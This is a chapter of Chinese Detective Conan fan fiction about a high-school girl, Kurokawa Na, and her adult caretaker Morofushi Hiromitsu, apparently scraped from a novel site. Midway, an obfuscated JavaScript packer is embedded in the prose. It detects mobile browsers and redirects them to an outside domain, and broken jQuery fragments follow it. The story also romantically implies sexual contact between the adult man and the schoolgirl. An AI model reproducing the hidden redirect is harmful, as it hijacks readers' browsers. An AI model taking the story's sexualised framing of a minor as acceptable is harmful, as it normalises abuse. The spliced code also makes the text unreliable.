40.最痛恨的事(八)

作品:《名柯之追杀(划掉)我的人排到了柏林

    她曾以为一夜无梦四个字对于她来说很遥远。


    身旁的温度几乎无声抽离。


    房门合上的瞬间,黑川奈睁开双眼,天还未亮。


    她们睡下也只过了不到两小时。


    房间很安静,她望着熟悉又陌生的天花板,体内的气已经趋于稳定,仿佛昨天一切从未发生。


    人的大脑真是神奇,一旦出现强烈的情绪波动,就会自动开启保护机制,冻结一切足以称之为愤怒的记忆。


    再次想起川本宪一。


    就像是一个曾与她擦肩而过的路人,雁过无痕,没留下一丝情绪痕迹。


    至于那个埋在记忆最幽暗底层的另一个名字。


    奈已经能很熟练地控制自己遏制对她的回忆。


    她睁着眼,一动不动,保持着最初平躺的睡姿,直到床单另一侧男人遗留下的温度变回冰冷。


    闹钟响起的前一秒被她精准预判关闭。


    身体如被丝线控制的玩偶,僵直立起。


    她甩甩脑袋。


    不停暗示自己。


    新的一天开始。


    你已经进化了!


    奈!


    你已经不再是昨天的自己!


    她啪啪两下拍拍脸颊,给自己打气,翻身下床走进浴室。


    赤裸的身体镜子前,将脖子上的疤和昨晚留的红痕用贴纸仔仔细细遮掩完全,至于其他地方。


    黑川奈勾了勾嘴角。


    这个小光,看着温温柔柔,没想到下手还挺重。


    无论是腋下、腹部还是腿间,甚至……


    她抬脚看了看脚踝,这种常年被遗忘的地方都被磨得通红,更别提已经被遮住的脖子,一道道红痕盖在灰粉色的疤上,不遮住根本出不去门。


    好在自己从转校的第一天就穿着校服长裤。


    她下楼的时候,诸伏景光围着粉色的围裙站在厨房,盯着已经沸腾的锅不知在沉思什么。


    晨光勾勒出他专注的背影,整个人像是被一圈银白色的光芒笼罩。


    厨房里的锅正发出咕噜噜的声音,而客厅的电视正在播放晨间国际新闻。


    黑川奈靠在厨房的门框上,没有提醒男人,而是默默欣赏一番男人优雅帅气的轮廓,唇角无声弯起。


    然而,当视线不经意扫过沙发看见昨晚丢在沙发上的书包,脸上的笑意瞬间凝固。


    诸伏景光似有所感应,回头,一张放大的面孔毫无预兆地占据他整个视野。


    他瞳孔微缩,身体紧绷。明明朝夕相处,他还是没办法完全捕捉到她的动静。


    下一秒,紧绷的线条松弛下来,温润的笑意漫眼底,如初阳下融化的雪。


    “您比我预想的要早一点,早餐马上……”


    话音未落,带着清晨凉意的薄荷清香骤然贴上。


    柔软的触感,猝不及防地封住他接下的话。


    一触即分。


    “早安吻。”


    黑川奈咧着牙笑嘻嘻地后退半步,瞳孔绿得惊人,“漫画上都是这么画的,对吧?”


    诸伏景光白皙的面孔以肉眼可见的速度晕开绯红,一路蔓延到耳根。


    心跳和少女咚咚咚的走路声相互交叠在一起。


    “您其实还可以再睡上一会儿,”他的声音如暖风,“我已经替您向学校请过假。”


    黑川奈原地转了一圈。


    这岂不是梦寐以求的事?


    可她下一秒又沮丧地垂下肩膀。


    “怎么了吗?”


    意识到黑川奈并没有自己想象中的那么快乐,诸伏景光的眉心皱起褶皱。


    少女烦躁地扒拉头发,穿着黑色袜子的脚不安分地在地板上蹭了蹭、交叠,脚尖无意识地相互挤压,“也不能算什么重要的事吧……就是其实我今天还是想起学校的,我想麻烦小光你的是另一件事。”


    “嗯?”


    诸伏景光擦干手,调小炉灶的火苗,自然地牵起黑川奈的手引到客厅沙发上坐下,耐心等待她的问题。


    “就是……”黑川奈深吸一口气,双手猛地合十,举到鼻尖前,那双深如幽潭般的墨绿色瞳孔跳跃着狡黠的光点,“我想拜托小光,你能不能联系一下小岛说我昨天拉肚子拉到虚脱一放学就拉去医院抢救!根本没办法完成作文!”


    她的语速飞快且精准,既想让诸伏景光听见又不想让他听明白一样。


    可诸伏景光是什么人?


    他是她肚子里的蛔虫。


    “噗。”


    他没忍住,短促而清凉的笑声从唇边溢出。


    湛蓝色的瞳孔漾开温柔的涟漪,点了点少女的鼻尖,从容地拿起手机,指尖在屏幕上轻点几下,在等待电话接通的过程中问,“只是作文吗?”他顿了顿,声音里含着促狭,“我记得今天要交的……不是还有数学和英语?”


    黑川奈瘪嘴,意味不明,“真是什么事情都瞒不过你,数学我做很快的,英语的话……朱蒂我能够应付,所以只要和小岛说就行了。”


    诸伏景光似乎才发觉自己对少女的宠溺到了不可救药的程度,无奈摇头。


    小岛光太郎的声音从话筒里响起,模模糊糊,像是还在睡梦当中。


    诸伏景光开口,腔调变得又着急又无奈,在征求到小岛光太郎的同意之后,又额外再给这人发了一条短信,以免他睡醒后忘记电话的事情。


    滴水不漏的男人。


    黑川奈枕在他发出浓郁柑橘气息的腿上,盯着布满胡茬的下颌骨。


    对,就是这样,黑川光,Hiromitsu。


    她垂下眼帘。


    这就是感情,能够轻而易举束缚住任何自知有底线的人。


    “这样小奈小姐满意了吧,”男人的声音温和依旧,“不过昨晚的作文我们还得另找时间补上才行哦。”


    他刻意在某些字上加了重音,带着不容置疑的温柔。


    “嘛~一般满意啦!”


    她勾唇的动作逐渐熟练,猛地从男人身上弹起来,“真是的,都怪那个小岛,”她一面抱怨,一面脚步轻快地冲向餐桌,“说我作文写的不好就算了,还质疑我的字迹!说什么写得太好,疑似是他人代笔,哼!”


    她一把抓起叉子,将瓷盘中完美的五分熟煎蛋划开,蛋液瞬间流出,“真应该把他揪过来,亲眼看看每晚我绞尽脑汁、抓耳挠腮就为了写他那该死的作文的惨状。”


    注意力全落在食物上的黑川奈浑然不觉她身后诸伏景光化作幽暗的眼神。


    “小光?”


    她把快要伸进嘴里的煎蛋放回盘子里,疑惑地转头。


    “愣着干嘛,过来吃早餐呀。”


    男人低垂着头,几缕稍长的乌黑发丝垂落,在他眉骨前投下小片浓密的阴影。


    “嗯,”低沉到几乎听不见的音节从男人喉咙挤出。


    诸伏景光迅速起身。


    “你不喜欢我说笔迹的事。”黑川奈放下叉子,手放在椅子的靠背上,笃定道。


    男人脚步微顿,罕见地没有回答少女的问题,快步走进厨房,金属餐夹夹起培根和煎蛋的声响清晰冰冷。


    将剩余的早餐轻轻放在少女身前,发出沉闷的轻响。


    “但是,”他的声音听着与平时无异,只是在温柔之下,似乎有情绪浮动,“您真的确定……没事吗?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849537|174139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他抬头,目光透过额前碎发的缝隙精准捕捉到少女的瞳孔,他重新找回话题,“昨天,川本先生和我来了电话。”


    黑川奈见男人落座,笑意盈盈地把嘴塞得满当当,模糊不清地应答,“唔嗯……果然,我就猜到……没事哦……真好吃,”她咽下食物,拿起牛奶灌了一口,才顺畅地回答,“他呀,八成是想从你这套话,打探我和你到底什么关系吧。”


    她满不在乎地挥了挥叉子,墨绿色的眼睛却锁住男人的脸,观察他的反应。


    见他点头,才接着说,“他说我成绩不行,让我放学后乖乖留下上他的补习班,就是上次还给你打电话说的那事,啧,大概就是这意思,具体说了什么我也记不清了,年纪大了记忆力下降太厉害。”


    她吐了吐舌头,朝着烤到表皮微焦的面包发起进攻。


    “和他昨天告知我的差不多,”诸伏景光回答,“只是,关于这位川本先生,我曾听闻他之前在……”


    “打住!”黑川奈猛地竖起手中叉子立在身前,截住了男人的话,她板起圆脸,“禁止剧透!”


    她家小管家样样都好,体贴入微、能力超群,唯独有个毛病。


    这个人会不动声色、事无巨细地调查她身边出现的每一个人!


    无论是同学、老师还是邻居。


    毛利兰和木许和沙如此,川本宪一也是如此。


    恐怕在她还傻乎乎地想不入虎穴焉得虎子的时候,他早就把川本宪一的底裤都给扒光了。


    不行,这样也太没意思了。


    她把嘴里满满当当的食物全部吞咽下去,才放下叉子,双手撑在桌沿身体前倾,“我知道你想说什么,但这次,我想靠着自己去琢磨,说不定川本宪一只是个像狼的好人。”


    她的眼睛明亮,声音清晰,“至于小光你嘛……如果有什么特别在意、特别想去做的事情,我可以随时放你假哦。”


    黑川奈眨了眨杏眼。


    诸伏景光端起水杯的手顿住。


    随即,清澈的眉眼中化开涟漪,他放下水杯,艳红色的薄唇向上扬起,眉眼弯成两泓月牙。


    “呵…”


    轻笑从他唇角溢出,“我以为自己藏得很好呢。”


    “嗯?”黑川奈从盘子里抬头,眼睛瞪得溜圆,“还真有?什么事?”她追问,但在下一秒,她又没了兴趣,“算了算了,当我没问,反正学校的事我一个人可以处理得了。”


    诸伏景光单手支着线条分明的下颌,无尽宠溺将少女笼罩。


    他近乎贪婪地注视着她把自己准备的早餐全部消灭干净。


    只是,当她拢起背后的长发,熟练地在后脑勺圈成团的时候。


    脖子上的光滑刺进他的眼帘。


    那些用来遮掩伤痕的贴纸严丝合缝地遮盖他留下的痕迹。


    沉滞的气闷毫无预兆地堵在他胸口。


    他想起昨天在接下川本宪一的电话时,在那个男人故作熟稔中,似是轻巧地提及黑川奈所选择了补习班,在他与川本宪一里选择了后者时所透出的神气活现。


    川本宪一。


    早在黑川奈踏入高中确定班级的当天下午,诸伏景光就已经将这个人龌龊的秘密了解透彻。


    他敛去眼底翻涌的情绪,淡笑着送少女出门。


    如果这是她所希望的,亲自去揭开事情的真相。


    那诸伏景光能做的,也只是默默站在她身后。


    而且,脱下名为黑川光的外衣后,身为诸伏景光,他真正所要面对的问题远比川本宪一麻烦得多。


    他转身,晨间新闻里主持人公式化的声音正流淌出来,德国,总理大选已经逼近。